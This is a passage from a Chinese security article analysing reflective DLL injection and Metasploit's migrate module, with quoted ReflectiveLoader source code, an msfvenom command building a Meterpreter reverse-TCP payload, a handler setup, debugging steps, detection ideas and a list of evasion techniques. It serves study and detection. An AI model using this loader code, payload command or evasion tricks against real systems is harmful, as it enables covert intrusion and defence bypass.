5. 使用GetProcAddress()函数在当前进程加载的kernel32.dll找到LoadLibraryA函数的地址。
6. 通过CreateRemoteThread()函数来调用LoadLibraryA()函数，在被注入进程新启动一个线程，使得被注入进程进程加载恶意的DLL。
常规dll注入示意图如上图所示。该图直接从步骤3)开始，步骤1)和步骤2)不在赘述。
## **2.2 反射式dll注入技术**
反射式dll注入与常规dll注入类似，而不同的地方在于反射式dll注入技术自己实现了一个reflective
loader()函数来代替LoadLibaryA()函数去加载dll，示意图如下图所示。蓝色的线表示与用常规dll注入相同的步骤，红框中的是reflective
loader()函数行为，也是下面重点描述的地方。
Reflective loader实现思路如下：
1. 获得被注入进程未解析的dll的基地址，即下图第7步所指的dll。
2. 获得必要的dll句柄和函数为修复导入表做准备。
3. 分配一块新内存去取解析dll，并把pe头复制到新内存中和将各节复制到新内存中。
4. 修复导入表和重定向表。
5. 执行DllMain()函数。
# 三、 **Msf migrate模块剖析**
msf的migrate模块是post阶段的一个模块，其作用是将meterpreter payload从当前进程迁移到指定进程。
在获得meterpreter session后可以直接使用migrate命令迁移进程，其效果如下图所示:
migrate的模块的实现和stephen
fewer的[ReflectiveDLLInjection](https://github.com/stephenfewer/ReflectiveDLLInjection)项目大致相同，增加了一些细节，其实现原理如下:
1. 读取metsrv.dll（metpreter payload模板dll）文件到内存中。
2. 生成最终的payload。
a) msf生成一小段汇编migrate stub主要用于建立socket连接。
b) 将metsrv.dll的dos头修改为一小段汇编meterpreter_loader主要用于调用reflective
loader函数和dllmain函数。在metsrv.dll的config block区填充meterpreter建立session时的配置信息。
c) 最后将migrate stub和修改后的metsrv.dll拼接在一起生成最终的payload。
3. 向msf server发送migrate请求和payload。
4. msf向迁移目标进程分配一块内存并写入payload。
5. msf首先会创建的远程线程执行migrate stub，如果失败了，就会尝试用apc注入的方式执行migrate stub。migrate stub会调用meterpreter loader，meterpreter loader才会调用reflective loader。
6. reflective loader进行反射式dll注入。
7. 最后msf client和msf server建立一个新的session。
原理图如下所示:
图中红色的线表示与常规反射式dll注入不同的地方。红色的填充表示修改内容，绿色的填充表示增加内容。migrate模块的reflective
loader是直接复用了stephen
fewer的ReflectiveDLLInjection项目的[ReflectiveLoader.c](https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveLoader.c)中的ReflectiveLoader()函数。下面我们主要关注reflective
loader的行为。
## **3.1 静态分析**
### **3.1.1 获取dll基地址**
ReflectiveLoader()首先会调用caller()函数
uiLibraryAddress = caller();
caller()函数实质上是_ReturnAddress()函数的封装。caller()函数的作用是获取caller()函数的返回值，在这里也就是ReflectiveLoader()函数中调用caller()函数的下一条指令的地址。
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }
然后，向低地址逐字节比较是否为为dos头的标识MZ字串，若当前地址的内容为MZ字串，则把当前地址认为是dos头结构体的开头，并校验dos头e_lfanew结构成员是否指向pe头的标识”PE”字串。若校验通过，则认为当前地址是正确的dos头结构体的开头。
while( TRUE )
{
//将当前地址当成dos头结构，此结构的e_magic成员变量是否指向MZ子串
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
//判断e_lfanew结构成员是否指向PE子串，是则跳出循环，取得未解析dll的基地址
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
### **3.1.2 获取必要的dll句柄和函数地址**
获取必要的dll句柄是通过遍历peb结构体中的ldr成员中的InMemoryOrderModuleList链表获取dll名称，之后算出dll名称的hash，最后进行hash对比得到最终的hash。
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
uiValueC = 0;
ULONG_PTR tmpValC = uiValueC;
//计算tmpValC所指向子串的hash值，并存储在uiValueC中
....
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
必要的函数是遍历函数所在的dll导出表获得函数名称，然后做hash对比得到的。
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
while( usCounter > 0 )
{
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
if( dwHashValue == LOADLIBRARYA_HASH
//等于其他函数hash的情况
|| ...
)
{
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
//等于其他函数hash的情况
...
usCounter--;
}
uiNameArray += sizeof(DWORD);
uiNameOrdinals += sizeof(WORD);
}
}
### **3.1.3 将dll映射到新内存**
Nt optional
header结构体中的SizeOfImage变量存储着pe文件在内存中解析后所占的内存大小。所以ReflectiveLoader()获取到SizeOfImage的大小，分配一块新内存,然后按照section
headers结构中的文件相对偏移和相对虚拟地址，将pe节一一映射到新内存中。
//分配SizeOfImage的新内存
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
...
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
//将所有头和节表逐字节复制到新内存
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
//解析每一个节表项
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
//将每一节的内容复制到新内存对应的位置
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
### **3.1.4 修复导入表和重定位表**
首先更具导入表结构，找到导入函数所在的dll名称，然后使用loadlibary()函数载入dll，根据函数序号或者函数名称，在载入的dll的导出表中，通过hash对比，并把找出的函数地址写入到新内存的IAT表中。
uiValueB =
(ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress
);
//当没有到达导入表末尾时
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
{
//使用LoadLibraryA()函数加载对应的dll
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress +
((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
...
uiValueD = ( uiBaseAddress +
((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
//IAT表
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk
);
while( DEREF(uiValueA) )
{
//如果导入函数是通过函数编号导入
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG
)
{ //通过函数编号索引导入函数所在dll的导出函数
uiExportDir = uiLibraryAddress +
((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
uiNameArray =
(ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiLibraryAddress +
((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY
)uiExportDir)->AddressOfFunctions );
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal
) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
//将对应的导入函数地址写入IAT表
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
//导入函数通过名称导入的
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress,
(LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
重定位表是为了解决程序指定的imagebase被占用的情况下，程序使用绝对地址导致访问错误的情况。一般来说，在引用全局变量的时候会用到绝对地址。这时候就需要去修正对应内存的汇编指令。
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
//如果重定向表的值不为0，则修正重定向节
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
//根据不同的标识，修正每一项对应地址的值
while( uiValueB-- )
{
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
uiValueD += sizeof( IMAGE_RELOC );
}
uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
## **3.2 动态调试**
本节一方面是演示如何实际的动态调试msf的migrate模块，另一方面也是3.1.1的一个补充，从汇编层次来看3.1.1节会更容易理解。
首先用msfvenom生成payload
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.75.132 lport=4444 -f exe -o msf.exe
并使用msfconsole设置监听
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444
之后在受害机使用windbg启动msf.exe并且
bu KERNEL32!CreateRemoteThread;g
获得被注入进程新线程执行的地址，以便调试被注入进程。
当建立session连接后，在msfconsole使用migrate命令
migrate 5600 //5600是要迁移的进程的pid
然后msf.exe在CreateRemoteThread函数断下，CreateRemoteThread函数原型如下
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
所以我们要找第四个参数lpStartAddress的值，即r9寄存器的内容，
使用
!address 000001c160bb0000
去notepad进程验证一下，是可读可写的内存，基本上就是对的
此时的地址是migrate stub汇编代码的地址，我们期望直接断在reflective loader的函数地址，我们通过
s -a 000001c1`60bb0000 L32000 MZ //000001c1`60bb0000为上面的lpStartAddress，3200为我们获取到的内存块大小
直接去搜MZ字串定位到meterpreter loader汇编的地址，进而定位到reflective loader的函数地址
meterpreter loader将reflective loader函数的地址放到rbx中，所以我们可直接断在此处，进入reflective
loader的函数，如下图所示
reflective loader首先call
000001c1`60bb5dc9也就是caller()函数，caller()函数的实现就比较简单了，一共两条汇编指令，起作用就是返回下一条指令的地址
在这里也就是0x000001c160bb5e08
获得下一条指令后的地址后，就会比较获取的地址的内容是否为MZ如果不是的话就会把获取的地址减一作为新地址比较，如果是的话，则会比较e_lfanew结构成员是否指向PE，若是则此时的地址作为dll的基地址。后面调试过程不在赘述。
# 四、 **检测方法**
反射式dll注入技术有很多种检测方法，如内存扫描、IOA等。下面是以内存扫描为例，我想到的一些扫描策略和比较好的检测点。
扫描策略:
1. Hook敏感api，当发生敏感api调用序列时，对注入进程和被注入进程扫描内存。
2. 跳过InMemoryOrderModuleList中的dll。
检测点多是跟reflective loader函数的行为有关，检测点如下：
1. 强特征匹配_ReturnAddress()的函数。Reflectiveloader函数定位dos头的前置操作就是调用调用_ReturnAddress()函数获得当前dll的一个地址。
2. 扫描定位pe开头位置的代码逻辑。详见3.1节，我们可以弱匹配此逻辑。
3. 扫描特定的hash函数和hash值。在dll注入过程中，需要许多dll句柄和函数地址，所以不得不使用hash对比dll名称和函数名称。我们可以匹配hash函数和这些特殊的hash值。
4. 从整体上检测dll注入。在被注入进程其实是存在两份dll文件，一份是解析前的原pe文件，一份是解析后的pe文件。我们可以检测这两份dll文件的关系来确定是反射式dll注入工具。
深信服云主机安全保护平台CWPP能够有效检测此类利用反射式DLL注入payload的无文件攻击技术。检测结果如图所示:
# 五、 **攻防对抗的思考**
对于标准的反射dll注入是有很多种检测方式的，主要是作者没有刻意的做免杀，下面对于我搜集到了一些免杀方式，探讨一下其检测策略。
1. 避免直接调用敏感api 。例如不直接调用writeprocessmemory等函数，而是直接用syscall调用。这种免杀方式只能绕过用户态的hook。对于内核态hook可以解这个问题。
2. dll在内存中的rwx权限进行了去除，变成rx。其实有好多粗暴的检测反射式dll注入的攻击方式，就是检测rwx权限的内存是否为pe文件。
3. 擦除nt头和dos头。这种免杀方式会直接让检测点4)影响较大，不能简单的校验pe头了，需要加入更精确的确定两个dll的文件，比如说，首先通过读取未解析的dll的SizeOfImage的大小，然后去找此大小的内存块，然后对比代码段是否一致，去判断是否为同一pe文件。
4. 抹除未解析pe文件的内存。这种免杀方式会导致检测点4)彻底失效，这种情况下我们只能对reflectiveloader()函数进行检测。
5. 抹除reflectiveloader()函数的内存。这里就比较难检测了。但是也是有检测点的，这里关键是如何确定这块内存是pe结构，重建pe结构之后，我们可以通过导出表去看导出函数是否被抹除。
# 六、 **参考文献**
1. <https://bbs.pediy.com/thread-220405.htm>
2. <https://bbs.pediy.com/thread-224078.htm>
3. <https://github.com/sud01oo/ProcessInjection>
4. <https://github.com/stephenfewer/ReflectiveDLLInjection>
5. 《Windows PE权威指南》
6. <https://github.com/rapid7/metasploit-payloads****> | 社区文章 |
Subsets and Splits